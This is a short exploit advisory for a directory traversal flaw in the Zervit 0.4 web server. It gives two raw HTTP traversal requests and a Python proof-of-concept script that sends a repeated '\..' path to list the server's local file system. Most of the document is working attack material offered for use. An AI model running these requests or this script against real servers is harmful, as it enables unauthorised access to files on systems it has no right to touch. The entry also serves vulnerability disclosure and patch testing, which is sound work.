# ##Description## #  
# #  
# It's possible to navigate the local file system of a server running Zervit 0.4 by using a specially #  
# crafted HTTP request. The resource path must be relative and the slashes unencoded. #  
# #  
# #  
# ##Exploit## #  
# #  
# GET /\../ HTTP/1.1 #  
# Host: localhost #  
# #  
# or #  
# #  
# GET //../ HTTP/1.1 #  
# Host: localhost #  
# #  
# #  
# ##Proof of Concept## #  
import sys, struct, socket  
host ='localhost'  
port = 80  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host, port))  
s.send('GET /' + '\..' * 32 + '/ HTTP/1.1\r\n'  
'Host: ' + host + '\r\n\r\n')  
  
while 1:  
response = s.recv(8192)  
if not response: break  
print response
